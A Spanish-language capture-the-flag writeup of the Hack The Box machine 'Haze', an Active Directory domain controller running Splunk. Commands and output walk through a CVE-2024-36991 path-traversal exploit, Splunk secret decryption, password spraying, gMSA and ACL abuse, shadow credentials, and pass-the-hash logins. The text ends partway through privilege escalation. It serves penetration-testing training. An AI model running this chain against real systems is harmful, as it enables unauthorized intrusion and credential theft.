🔴Haze

En esta ocasión vamos a hacer el writeup de la máquina Haze de Hack the Box, una máquina Windows de dificultad Hard.

Primer contacto

Añadimos la IP 10.10.11.61 a nuestro /etc/hosts y accedemos través del navegador.

sudo echo "10.10.11.61 haze.htb" | sudo tee -a /etc/hosts

Escaneo de puertos

sudo nmap -v -sV -T5 10.10.11.61

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-07 22:22:22Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8000/tcp open  http          Splunkd httpd
8088/tcp open  ssl/http      Splunkd httpd
8089/tcp open  ssl/http      Splunkd httpd
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

El host 10.10.11.61 es un Domain Controller Windows (presencia de Kerberos, LDAP y Global Catalog) con Splunkd expuesto por múltiples puertos HTTP/HTTPS. Esto sugiere vectores de ataque tanto en el dominio como en aplicaciones web internas como Splunk.

Puerto

Servicio

Descripción Técnica

DNS

Resolución interna, útil para zona DNS y enum. de subdominios

Kerberos

Confirmación de Active Directory

135/139/445

MSRPC, NetBIOS, SMB

Vectores comunes para null sessions, shares, y enumeración de usuarios

389/636/3268/3269

LDAP y GC (LDAP + LDAPS)

Enumeración de usuarios y grupos del dominio

5985

WinRM

Ejecución remota si conseguimos credenciales

8000/8088/8089

Splunkd

Acceso al panel de Splunk, posiblemente vulnerable

Domain Controller

FQDN: dc01.haze.htb
Dominio: haze.htb
Windows Server 2022
Single-domain forest

3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Issuer: commonName=haze-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-03-05T07:12:20
| Not valid after:  2026-03-05T07:12:20
| MD5:   db18:a1f5:986c:1470:b848:35ec:d437:1ca0
|_SHA-1: 6cdd:5696:f250:6feb:1a27:abdf:d470:5143:3ab8:5d1f

Enumeración de usuarios

Usando Kerbrute para enumerar usuarios del sistema parece que solo nos encuentra al usuario administrator:

afsh4ck@kali$ kerbrute userenum --dc 10.10.11.61 -d haze.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 05/07/25 - Ronnie Flathers @ropnop

2025/05/07 16:42:26 >  Using KDC(s):
2025/05/07 16:42:26 >  	10.10.11.61:88

2025/05/07 16:42:38 >  [+] VALID USERNAME:	administrator@haze.htb

Splunk App

Puerto 8000

Búsquedas guardadas con scripts incrustados
Capacidades de carga de archivos de búsqueda
Inyección de XML en el panel de control

No funcionan las credenciales por defecto admin:changeme

Puerto 8089

Configuración del servidor de implementación
Versión 9.2.1 (podríamos encontrar algún exploit público)

Búsqueda de exploits

Buscando exploits públicos vemos que es vulnerable a Path Traversal con el CVE-2024-36991:

GitHub - jaytiwari05/CVE-2024-36991: Critical Splunk Vulnerability CVE-2024-36991: Patch Now to Prevent Arbitrary File ReadsGitHub

python3 exploit.py        
                                                                        
  ______     _______     ____   ___ ____  _  _        _____  __   ___   ___  _ 
 / ___\ \   / | ____|   |___ \ / _ |___ \| || |      |___ / / /_ / _ \ / _ \/ |
| |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ |_ \| '_ | (_) | (_) | |
| |___  \ V / | |__|_____/ __/| |_| / __/|__   _|________) | (_) \__, |\__, | |
 \____|  \_/  |_____|   |_____|\___|_____|  |_|      |____/ \___/  /_/   /_/|_|


CVE-2024-36991
Made by ~PaiN05


Available sections:
1. Credentials & Secrets 🔱
2. Configuration Files 🔥
3. Logs & History [Might Get Freeze] 💀
4. System & Service Files [Might Get Freeze] 💀
5. Apps & Custom Scripts 🔥
usage: exploit.py [-h] -u URL -s SECTION
exploit.py: error: the following arguments are required: -u/--url, -s/--section

Al ejecutarlo, revela archivos de configuración, el etc/passwd, logs y historial, archivos y servicios de sistema y scripts en entornos Splunk sin autenticación, explotando un Path Traversal:

python3 exploit.py -u http://haze.htb:8000 -s 1
                                                                        
  ______     _______     ____   ___ ____  _  _        _____  __   ___   ___  _ 
 / ___\ \   / | ____|   |___ \ / _ |___ \| || |      |___ / / /_ / _ \ / _ \/ |
| |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ |_ \| '_ | (_) | (_) | |
| |___  \ V / | |__|_____/ __/| |_| / __/|__   _|________) | (_) \__, |\__, | |
 \____|  \_/  |_____|   |_____|\___|_____|  |_|      |____/ \___/  /_/   /_/|_|


CVE-2024-36991
Made by ~PaiN05

[+] Running section 1

[*] Running: curl -s "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/passwd"
:admin:$6$Ak3m7.aHgb/NOQez$O7C8Ck2lg5RaXJs9FrwPr7xbJBJxMCpqIx3TG30Pvl7JSvv0pn3vtYnt8qF4WhL7hBZygwemqn7PBj5dLBm0D1::Administrator:admin:changeme@example.com:::20152
:edward:$6$3LQHFzfmlpMgxY57$Sk32K6eknpAtcT23h6igJRuM1eCe7WAfygm103cQ22/Niwp1pTCKzc0Ok1qhV25UsoUN4t7HYfoGDb4ZCv8pw1::Edward@haze.htb:user:Edward@haze.htb:::20152
:mark:$6$j4QsAJiV8mLg/bhA$Oa/l2cgCXF8Ux7xIaDe3dMW6.Qfobo0PtztrVMHZgdGa1j8423jUvMqYuqjZa/LPd.xryUwe699/8SgNC6v2H/:::user:Mark@haze.htb:::20152
:paul:$6$Y5ds8NjDLd7SzOTW$Zg/WOJxk38KtI.ci9RFl87hhWSawfpT6X.woxTvB4rduL4rDKkE.psK7eXm6TgriABAhqdCPI4P0hcB8xz0cd1:::user:paul@haze.htb:::20152

[*] Running: curl -s "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/auth/splunk.secret"
NfKeJCdFGKUQUqyQmnX/WM9xMn5uVF32qyiofYPHkEOGcpMsEN.lRPooJnBdEL5Gh2wm12jKEytQoxsAYA5mReU9.h0SYEwpFMDyyAuTqhnba9P2Kul0dyBizLpq6Nq5qiCTBK3UM516vzArIkZvWQLk3Bqm1YylhEfdUvaw1ngVqR1oRtg54qf4jG0X16hNDhXokoyvgb44lWcH33FrMXxMvzFKd5W3TaAUisO6rnN0xqB7cHbofaA1YV9vgD

<---SNIP--->

[*] Running: curl -s "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/system/local/authentication.conf"
[splunk_auth]
minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0

[Haze LDAP Auth]
SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_LDAP_Auth,CN=Users,DC=haze,DC=htb

...

Deglose

Usuarios de etc/passwd

Concretamente encuentra 3 usuarios nuevos, además del admin:

Edward@haze.htb
Mark@haze.htb
paul@haze.htb

Archivos de configuración de Splunk

List of configuration files - Splunk Documentation

splunk.secret

[*] Running: curl -s "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/auth/splunk.secret"
NfKeJCdFGKUQUqyQmnX/WM9xMn5uVF32qyiofYPHkEOGcpMsEN.lRPooJnBdEL5Gh2wm12jKEytQoxsAYA5mReU9.h0SYEwpFMDyyAuTqhnba9P2Kul0dyBizLpq6Nq5qiCTBK3UM516vzArIkZvWQLk3Bqm1YylhEfdUvaw1ngVqR1oRtg54qf4jG0X16hNDhXokoyvgb44lWcH33FrMXxMvzFKd5W3TaAUisO6rnN0xqB7cHbofaA1YV9vgD

Este archivo contiene la clave maestra simétrica AES-256 que Splunk usa para cifrar y descifrar secretos internos como:

Contraseñas en archivos .conf (como authentication.conf, inputs.conf)
Tokens
Credenciales LDAP en texto cifrado

Si tienes este archivo, puedes descifrar las contraseñas cifradas en otros archivos .conf del entorno.

autentication.conf

[*] Running: curl -s "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/system/local/authentication.conf"
[splunk_auth]
minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0

[Haze LDAP Auth]
SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=

Este archivo define cómo se autentican los usuarios de Splunk, incluyendo:

Reglas de complejidad de contraseñas
Métodos de autenticación externos como LDAP, SAML, etc.
Usuarios locales definidos manualmente
Credenciales cifradas (del usuario Paul Taylor)

De igual manera podríamos capturar estos archivos haciendo un curl con el Path Traversal o con BurpSuite:

Cracking de contraseña cifrada

La contraseña está cifrada, por lo que vamos a usar Splunksecrets para crackearla:

GitHub - HurricaneLabs/splunksecrets: splunksecrets is a tool for working with Splunk secrets offlineGitHub

Para usar la herramienta necesitamos el parámetro splunk.secret y la clave cifrada del autentication.conf que descubrimos antes.

splunk.secret

NfKeJCdFGKUQUqyQmnX/WM9xMn5uVF32qyiofYPHkEOGcpMsEN.lRPooJnBdEL5Gh2wm12jKEytQoxsAYA5mReU9.h0SYEwpFMDyyAuTqhnba9P2Kul0dyBizLpq6Nq5qiCTBK3UM516vzArIkZvWQLk3Bqm1YylhEfdUvaw1ngVqR1oRtg54qf4jG0X16hNDhXokoyvgb44lWcH33FrMXxMvzFKd5W3TaAUisO6rnN0xqB7cHbofaA1YV9vgD

Lo guardamos en un archivo de texto secret.txt

Splunksecrets

Cuando nos muestre Ciphertext le pasamos la clave cifrada de usuario Paul Taylor que encontramos antes:

splunksecrets splunk-decrypt -S secret.txt

Ciphertext: $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
Ld@p_Auth_Sp1unk@2k24

Tenemos una contraseña en plano! Comprobamos que funciona con crackmapexec:

crackmapexec smb haze.htb -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24'
 
SMB         haze.htb        445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB         haze.htb        445    DC01             [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24

Enumeración con credenciales

Usamos crackmapexec para enumerar con credenciales usuarios del entorno AD:

crackmapexec smb haze.htb -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24' --rid-brute | grep 'SidTypeUser'

SMB                      haze.htb        445    DC01             500: HAZE\Administrator (SidTypeUser)
SMB                      haze.htb        445    DC01             501: HAZE\Guest (SidTypeUser)
SMB                      haze.htb        445    DC01             502: HAZE\krbtgt (SidTypeUser)
SMB                      haze.htb        445    DC01             1000: HAZE\DC01$ (SidTypeUser)
SMB                      haze.htb        445    DC01             1103: HAZE\paul.taylor (SidTypeUser)
SMB                      haze.htb        445    DC01             1104: HAZE\mark.adams (SidTypeUser)
SMB                      haze.htb        445    DC01             1105: HAZE\edward.martin (SidTypeUser)
SMB                      haze.htb        445    DC01             1106: HAZE\alexander.green (SidTypeUser)
SMB                      haze.htb        445    DC01             1111: HAZE\Haze-IT-Backup$ (SidTypeUser)

Vemos que hay varios usuarios nuevos. Los añadiremos a una lista completa de usuarios válidos que hemos recopilado:

valid-users.txt

Administrator
Guest
krbtgt
DC01$
mark.adams
edward.martin
alexander.green
Haze-IT-Backup$
paul.taylor # Poner el último de la lista o omitirá al resto

Password Spraying

Vamos a ver si esa contraseña la utilizan más usuarios:

crackmapexec smb haze.htb -u valid-users.txt -p 'Ld@p_Auth_Sp1unk@2k24'

SMB         haze.htb        445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB         haze.htb        445    DC01             [-] haze.htb\Administrator:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE 
SMB         haze.htb        445    DC01             [-] haze.htb\Guest:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE 
SMB         haze.htb        445    DC01             [-] haze.htb\krbtgt:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE 
SMB         haze.htb        445    DC01             [-] haze.htb\DC01$:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE 
SMB         haze.htb        445    DC01             [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24

Bingo, el usuario Mark Adams también la utiliza!

Análisis con BloodHound

Bloodhound-python

bloodhound-python -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' -d haze.htb -ns 10.10.11.61 -c All --zip

INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: haze.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 8 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.haze.htb
INFO: Done in 00M 10S
INFO: Compressing output into 20250507214438_bloodhound.zip

Análisis

Vemos que el usuario mark pertenece al grupo GMSA_MANAGERS (Group Managed Service Accounts:

Los administradores de gMSA tienen privilegios para acceder a las contraseñas de cuentas de servicio gestionadas en Active Directory. Esto permite:

Leer contraseñas en texto claro desde el atributo msDS-ManagedPassword.
Realizar ataques de retransmisión NTLM para acceder a ese atributo.
Ejecutar ataques “gMSA dorado” si se compromete la clave raíz del KDS, generando contraseñas de gMSA sin conexión.

Estos privilegios permiten la suplantación de identidades y posibles escaladas de privilegios.

Leer la contraseña de GMSAPassword

Usaremos gMSADumper:

GitHub - micahvandeusen/gMSADumper: Lists who can read any gMSA password blobs and parses them if the current user has access.GitHub

python gMSADumper.py -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' -d haze.htb

Users or groups who can read password for Haze-IT-Backup$:
 > Domain Admins

Mark no tiene este permiso actualmente, pero pertenece al grupo de administradores y puede agregar permisos a sí mismo. Ten en cuenta que gMSA no es un grupo, sino un tipo de cuenta especial, por lo no puedes encontrarlo en bloodhound.

Vamos a conectarnos por evil-winrm:

evil-winrm -i 10.10.11.61 -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline                                      
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                        
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\mark.adams\Documents>

Puede comprobar el tipo de cuenta de Haze-IT-Backup$ con el siguiente comando:

*Evil-WinRM* PS C:\Users\mark.adams\Documents> Get-ADServiceAccount -Identity Haze-IT-Backup$ | Select-Object Name, ObjectClass
 
Name           ObjectClass
----           -----------
Haze-IT-Backup msDS-GroupManagedServiceAccount

¿Quién tiene permiso para ver su contraseña? Sólo administradores de dominio

*Evil-WinRM* PS C:\Users\mark.adams\Documents> Get-ADServiceAccount -Identity "Haze-IT-Backup$" -Properties PrincipalsAllowedToRetrieveManagedPassword
 
DistinguishedName                          : CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb
Enabled                                    : True
Name                                       : Haze-IT-Backup
ObjectClass                                : msDS-GroupManagedServiceAccount
ObjectGUID                                 : 66f8d593-2f0b-4a56-95b4-01b326c7a780
PrincipalsAllowedToRetrieveManagedPassword : {CN=Domain Admins,CN=Users,DC=haze,DC=htb}
SamAccountName                             : Haze-IT-Backup$
SID                                        : S-1-5-21-323145914-28650650-2368316563-1111
UserPrincipalName                          :

Mark está en el grupo de administradores de gMSA, así que intenta modificar el usuario legible.

*Evil-WinRM* PS C:\Users\mark.adams\Documents> Set-ADServiceAccount -Identity "Haze-IT-Backup$" -PrincipalsAllowedToRetrieveManagedPassword "mark.adams"
 
*Evil-WinRM* PS C:\Users\mark.adams\Documents> Get-ADServiceAccount -Identity "Haze-IT-Backup$" -Properties PrincipalsAllowedToRetrieveManagedPassword
 
 
DistinguishedName                          : CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb
Enabled                                    : True
Name                                       : Haze-IT-Backup
ObjectClass                                : msDS-GroupManagedServiceAccount
ObjectGUID                                 : 66f8d593-2f0b-4a56-95b4-01b326c7a780
PrincipalsAllowedToRetrieveManagedPassword : {CN=Mark Adams,CN=Users,DC=haze,DC=htb}
SamAccountName                             : Haze-IT-Backup$
SID                                        : S-1-5-21-323145914-28650650-2368316563-1111
UserPrincipalName                          :

Luego volvemos a ejecutar gMSADumper y vemos que nos devuelve el hash del usuario Haze-IT-Backup$:

python gMSADumper.py -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' -d haze.htb

Users or groups who can read password for Haze-IT-Backup$:
 > mark.adams
Haze-IT-Backup$:::84d6a733d85d9e03f46eba25b34517a9
Haze-IT-Backup$:aes256-cts-hmac-sha1-96:8c47d46d7f2a5aef9d2ab5fda8c60b6e094ad78b2c55878faa9ff2b7fac740a6
Haze-IT-Backup$:aes128-cts-hmac-sha1-96:7627ff016dd47b73e99596362a068f41

Intentamos conectarnos por RDP y evil-winrm pero no podemos con este usuario. Para verificar que mark.adams tiene permiso de escritura, podemos ejecutar el siguiente comando para ver la lista de control de acceso de Backup :

*Evil-WinRM* PS C:\Users\mark.adams\Documents> dsacls "CN=HAZE-IT-BACKUP,CN=MANAGED SERVICE ACCOUNTS,DC=HAZE,DC=HTB"
 
Owner: HAZE\Domain Admins
Group: HAZE\Domain Admins

Access list:
Allow HAZE\gMSA_Managers              SPECIAL ACCESS
                                      READ PERMISSONS
                                      LIST CONTENTS
                                      READ PROPERTY
Allow HAZE\Domain Admins              FULL CONTROL

Bloodhound con privilegios

Como es un usuario con más privilegios, vamos a volver a ejecutar bloodhound-python con este usuario.

Si se utiliza mark.adams para recopilar datos dentro del dominio, es posible que falte cierta información debido a problemas de permisos. Entonces, la mejor práctica es intentar actualizar el contenido de Bloodhound cuando obtenemos un nuevo usuario en el dominio.

Podemos usar bloodhound-python solamente con el hash, sin la contraseña en plano

bloodhound-python -u 'Haze-IT-Backup$' --hashes ':84d6a733d85d9e03f46eba25b34517a9' -d haze.htb -ns 10.10.11.61 -c All --zip

INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: haze.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 9 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 20 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.haze.htb
INFO: Done in 00M 08S
INFO: Compressing output into 20250508111541_bloodhound.zip

Se puede ver que el usuario BACKUP puede modificar el propietario del grupo SUPPORT , y el grupo SUPPORT puede modificar la contraseña de EDWARD Shadow Credential y lanzar ataques.

A continuación, configure Backup como propietario del grupo.

Agregarnos al grupo SUPPORT

Cambiar propietario del grupo support a BACKUP:

bloodyAD --host '10.10.11.61' -d 'haze.htb' -u 'Haze-IT-Backup$' -p ':84d6a733d85d9e03f46eba25b34517a9' set owner SUPPORT_SERVICES Haze-IT-Backup$

[+] Old owner S-1-5-21-323145914-28650650-2368316563-512 is now replaced by Haze-IT-Backup$ on SUPPORT_SERVICES

Nos añadimos todos los permisos a nosotros mismos:

python3 dacledit.py -action write -rights FullControl -principal 'Haze-IT-Backup$' \
-target-dn 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB' -dc-ip 10.10.11.61 \
"haze.htb/Haze-IT-Backup$" -hashes ':84d6a733d85d9e03f46eba25b34517a9'

Impacket v0.13.0.dev0+20250430.174957.756ca96e - Copyright Fortra, LLC and its affiliated companies 

[*] DACL backed up to dacledit-20250508-115351.bak
[*] DACL modified successfully!

Y nos agregamos al grupo:

bloodyAD --host '10.10.11.61' -d 'haze.htb' -u 'Haze-IT-Backup$' -p ':84d6a733d85d9e03f46eba25b34517a9' add groupMember SUPPORT_SERVICES Haze-IT-Backup$                                           

[+] Haze-IT-Backup$ added to SUPPORT_SERVICES

Cambiar la contraseña de EDWARD

Ahora el usuario BACKUP puede cambiar la contraseña del usuario EDWARD usando Shadown Credential:

GitHub - ShutdownRepo/pywhisker: Python version of the C# tool for "Shadow Credentials" attacksGitHub

python pywhisker.py -d "haze.htb" -u "Haze-IT-Backup$" -H '84d6a733d85d9e03f46eba25b34517a9' --target edward.martin --action add

[*] Searching for the target account
[*] Target user found: CN=Edward Martin,CN=Users,DC=haze,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 4e740279-7acd-5c2a-d692-707fc3a1a14d
[*] Updating the msDS-KeyCredentialLink attribute of edward.martin
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Converting PEM -> PFX with cryptography: CPclzrfC.pfx
[+] PFX exportiert nach: CPclzrfC.pfx
[i] Passwort für PFX: jRXgGGq5pPyhkUvm9bnK
[+] Saved PFX (#PKCS12) certificate & key at path: CPclzrfC.pfx
[*] Must be used with password: jRXgGGq5pPyhkUvm9bnK
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

Generar TGT con PKINITtools

Lo clonamos en nuestro directorio actual, dentro de pywhisker:

GitHub - dirkjanm/PKINITtools: Tools for Kerberos PKINIT and relaying to AD CSGitHub

Sincronizamos el reloj con el DC

sudo ntpdate 10.10.11.61

2025-05-08 20:28:17.130730 (+0200) +28801.556656 +/- 0.018455 10.10.11.61 s1 no-leap
CLOCK: time stepped by 28801.556656

Generamos el TGT

python gettgtpkinit.py -cert-pfx ../CPclzrfC.pfx -pfx-pass jRXgGGq5pPyhkUvm9bnK haze.htb/edward.martin edward.ccache

2025-05-08 21:03:10,460 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-05-08 21:03:10,474 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
2025-05-08 21:03:10,573 minikerberos INFO     AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-05-08 21:03:10,573 minikerberos INFO     36e681d554c7ce698ec125daaac9abffda4f0602efc454fe26b68cf80f915533
INFO:minikerberos:36e681d554c7ce698ec125daaac9abffda4f0602efc454fe26b68cf80f915533
2025-05-08 21:03:10,575 minikerberos INFO     Saved TGT to file
INFO:minikerberos:Saved TGT to file

Obtenemos la clave hexadecimal necesaria

36e681d554c7ce698ec125daaac9abffda4f0602efc454fe26b68cf80f915533

Configuramos la variable de entorno

export KRB5CCNAME=$(pwd)/edward.ccache

Extraer el hash NTLM

python getnthash.py -key 36e681d554c7ce698ec125daaac9abffda4f0602efc454fe26b68cf80f915533 haze.htb/edward.martin

Impacket v0.13.0.dev0+20250430.174957.756ca96e - Copyright Fortra, LLC and its affiliated companies 

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
09e0b3eeb2e7a6b0d419e9ff8f4d91af

Hemos conseguido el hash de Edward Martin!

User flag

evil-winrm -i 10.10.11.61 -u 'edward.martin' -H '09e0b3eeb2e7a6b0d419e9ff8f4d91af'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline                                    
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                             
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\edward.martin\Documents> whoami
haze\edward.martin

*Evil-WinRM* PS C:\Users\edward.martin\Desktop> ls

    Directory: C:\Users\edward.martin\Desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---          5/8/2025   5:01 AM             34 user.txt

*Evil-WinRM* PS C:\Users\edward.martin\Desktop> type user.txt
f7ec3e1403a7fdb99576a*************

Escalada de privilegios

En el directorio c:/ hay un directorio Backups interesante que contiene un backup de Splunk, que podría contener credenciales de usuarios:

*Evil-WinRM* PS C:\Backups\Splunk> dir

    Directory: C:\Backups\Splunk

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          8/6/2024   3:22 PM       27445566 splunk_backup_2024-08-06.zip

Descarga del backup de Splunk

*Evil-WinRM* PS C:\Backups\Splunk> download splunk_backup_2024-08-06.zip
                                        
Info: Downloading C:\Backups\Splunk\splunk_backup_2024-08-06.zip to splunk_backup_2024-08-06.zip
                                        
Info: Download successful!

Después de la descarga, vemos que es el código fuente de respaldo del sitio web, que es diferente del contenido real del sitio web.

Credential Hunting de Splunk

Una vez descomprimimos el zip buscamos cadenas similares a contraseñas y buscamos según el formato de contraseña de Splunk.

afsh4ck@kali$ pwd                                                                                                             
/home/kali/Escritorio/machines/htb/haze/Splunk

afsh4ck@kali$ grep -rI  '\$1\$' .

./var/run/splunk/confsnapshot/baseline_local/system/local/authentication.conf:bindDNpassword = $1$YDz8WfhoCWmf6aTRkA+QqUI=
./etc/system/README/outputs.conf.example:token=$1$/fRSBT+2APNAyCB7tlcgOyLnAtqAQFC8NI4TGA2wX4JHfN5d9g==
./etc/system/README/indexes.conf.spec:* Unencrypted access key cannot begin with "$1$" or "$7$". These prefixes are reserved
./etc/system/README/indexes.conf.spec:* Unencrypted secret key cannot begin with "$1$" or "$7$". These prefixes are reserved
./etc/system/README/server.conf.spec:* Unencrypted passwords must not begin with "$1$". This is used by
./etc/system/README/server.conf.spec:    * NOTE: Unencrypted passwords must not begin with "$1$", because this is
./etc/system/README/server.conf.spec:* Unencrypted passwords must not begin with "$1$", as Splunk software uses
./etc/system/README/server.conf.spec:* Unencrypted passwords must not begin with "$1$", as this is used by
./etc/system/README/server.conf.spec:* Unencrypted passwords must not begin with "$1$", as this is used by
./etc/system/README/server.conf.spec:* Unencrypted passwords must not begin with "$1$", as this is used by
./etc/system/README/server.conf.spec:* Unencrypted passwords must not begin with "$1$", as this is used by
./lib/node_modules/pdfkit/lib/mixins/color.coffee:                color = color.replace(/#([0-9A-F])([0-9A-F])([0-9A-F])/i, "#$1$1$2$2$3$3") if color.length is 4

Encontramos un password encriptado en authentication.conf. Usaremos splunksecrets para crackearlo.

Nota: Ten en cuenta que el secret aquí proviene del código de backup.

cd etc/auth/splunk.secret

CgL8i4HvEen3cCYOYZDBkuATi5WQuORBw9g4zp4pv5mpMcMF3sWKtaCWTX8Kc1BK3pb9HR13oJqHpvYLUZ.gIJIuYZCA/YNwbbI4fDkbpGD.8yX/8VPVTG22V5G5rDxO5qNzXSQIz3NBtFE6oPhVLAVOJ0EgCYGjuk.fgspXYUc9F24Q6P/QGB/XP8sLZ2h00FQYRmxaSUTAroHHz8fYIsChsea7GBRaolimfQLD7yWGefscTbuXOMJOrzr/6B

splunksecrets splunk-decrypt -S splunk.secret

Ciphertext: $1$YDz8WfhoCWmf6aTRkA+QqUI=
Sp1unkadmin@2k24

Tenemos la contraseña en plano, y indica que pertenece a un administrador. SI no ha cambiado la contraseña posiblemente podamos acceder a través de la aplicación de Splunk en producción.

Acceso a Splunk

Estamos dentro! Vamos a seguir los pasos de la sección dedicada:

💣Splunk - Ataques

Preparación del exploit

Vamos a usar este repositorio:

